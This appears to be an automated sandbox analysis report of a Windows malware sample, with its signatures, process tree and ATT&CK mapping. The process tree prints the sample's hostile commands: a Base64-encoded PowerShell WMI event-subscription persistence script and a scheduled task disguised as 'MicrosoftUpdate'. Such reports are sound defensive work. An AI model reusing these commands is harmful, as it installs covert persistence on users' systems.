Analysis
- max time kernel
149s - max time network
95s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
11/05/2026, 09:51
General
- Target 2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exe
- Size 1.1MB
- Sample260511-lvhypsev5w
- SHA256 c5269ace2a3b0e9a53bb6272ab312c4cd72c9fe4d0c7da87e58f3f809f142955
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Temp\RedSun.exe"C:\Windows\Temp\RedSun.exe" --cmd "C:\Users\Admin\AppData\Local\Temp\2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exe"2⤵
- Executes dropped EXE
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C:\Windows\SYSTEM32\ipconfig.exeipconfig /flushdns > nul 2>&12⤵
- Gathers network information
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand JGZpbHRlck5hbWU9J1N0YXJ0dXBGaWx0ZXInOyRjb25zdW1lck5hbWU9J1N0YXJ0dXBDb25zdW1lcic7JHF1ZXJ5PSdTRUxFQ1QgKiBGUk9NIF9fSW5zdGFuY2VNb2RpZmljYXRpb25FdmVudCBXSVRISU4gMzAgV0hFUkUgVGFyZ2V0SW5zdGFuY2UgSVNBIFwiV2luMzJfUGVyZlJhd0RhdGFfUGVyZk9TX1N5c3RlbVwiJzskZmlsdGVyID0gU2V0LVdtaUluc3RhbmNlIC1DbGFzcyBfX0V2ZW50RmlsdGVyIC1OYW1lc3BhY2Ugcm9vdFxzdWJzY3JpcHRpb24gLUFyZ3VtZW50cyBAe05hbWU9JGZpbHRlck5hbWU7IEV2ZW50TmFtZVNwYWNlPSdyb290XGNpbXYyJzsgUXVlcnlMYW5ndWFnZT0nV1FMJzsgUXVlcnk9JHF1ZXJ5fTskY29uc3VtZXIgPSBTZXQtV21pSW5zdGFuY2UgLUNsYXNzIENvbW1hbmRMaW5lRXZlbnRDb25zdW1lciAtTmFtZXNwYWNlIHJvb3Rcc3Vic2NyaXB0aW9uIC1Bcmd1bWVudHMgQHtOYW1lPSRjb25zdW1lck5hbWU7IENvbW1hbmRMaW5lVGVtcGxhdGU9JyJDOlxVc2Vyc1xBZG1pblxBcHBEYXRhXExvY2FsXFRlbXBcMjAyNi0wNS0xMV8xZmM3N2ZiNmYyYzgxOWIyMTBiZmFhNjQxMDdjNzg0Yl9nbGFzc3dvcm1faWNlZGlkX25qcmF0LmV4ZSInfTskYmluZGluZyA9IFNldC1XbWlJbnN0YW5jZSAtQ2xhc3MgX19GaWx0ZXJUb0NvbnN1bWVyQmluZGluZyAtTmFtZXNwYWNlIHJvb3Rcc3Vic2NyaXB0aW9uIC1Bcmd1bWVudHMgQHtGaWx0ZXI9JGZpbHRlcjsgQ29uc3VtZXI9JGNvbnN1bWVyfQ==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "MicrosoftUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exe" /sc daily /st 09:00 /f2⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Local\Temp\2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exeC:\Users\Admin\AppData\Local\Temp\2026-05-11_1fc77fb6f2c819b210bfaa64107c784b_glassworm_icedid_njrat.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3kaijgf1.10u.ps1
RedSun.exe
memory/2528-61-0x000001806A9D0000-0x000001806AA01000-memory.dmp
memory/2528-60-0x00007FF788A70000-0x00007FF788B3B000-memory.dmp
memory/4588-62-0x00007FF788A70000-0x00007FF788B3B000-memory.dmp
memory/4588-5-0x0000024AF4800000-0x0000024AF4831000-memory.dmp
memory/4588-4-0x00007FF788A70000-0x00007FF788B3B000-memory.dmp
memory/4708-44-0x000001BC9B1B0000-0x000001BC9B1BA000-memory.dmp
memory/4708-48-0x000001BC9B1D0000-0x000001BC9B1D8000-memory.dmp
memory/4708-42-0x000001BC9B190000-0x000001BC9B1AC000-memory.dmp
memory/4708-37-0x00007FF47B0B0000-0x00007FF47B0C0000-memory.dmp
memory/4708-43-0x000001BC9B1F0000-0x000001BC9B2A3000-memory.dmp
memory/4708-27-0x000001BC82FA0000-0x000001BC82FC2000-memory.dmp
memory/4708-45-0x000001BC9B2B0000-0x000001BC9B2CC000-memory.dmp
memory/4708-46-0x000001BC9B1C0000-0x000001BC9B1CA000-memory.dmp
memory/4708-47-0x000001BC9B2F0000-0x000001BC9B30A000-memory.dmp
memory/4708-34-0x000001BC9B1E0000-0x000001BC9B1F0000-memory.dmp
memory/4708-49-0x000001BC9B2D0000-0x000001BC9B2D6000-memory.dmp
memory/4708-50-0x000001BC9B2E0000-0x000001BC9B2EA000-memory.dmp
memory/4708-51-0x000001BC9B1E0000-0x000001BC9B1F0000-memory.dmp
memory/4708-56-0x000001BC82F70000-0x000001BC82F82000-memory.dmp
memory/4708-55-0x000001BC82B10000-0x000001BC82B1C000-memory.dmp
memory/4708-54-0x000001BC81100000-0x000001BC81131000-memory.dmp
memory/4708-25-0x000001BC9B1E0000-0x000001BC9B1F0000-memory.dmp
memory/4708-26-0x000001BC9B1E0000-0x000001BC9B1F0000-memory.dmp
memory/4744-6-0x0000024E78080000-0x0000024E780B1000-memory.dmp
memory/4744-78-0x0000024E78080000-0x0000024E780B1000-memory.dmp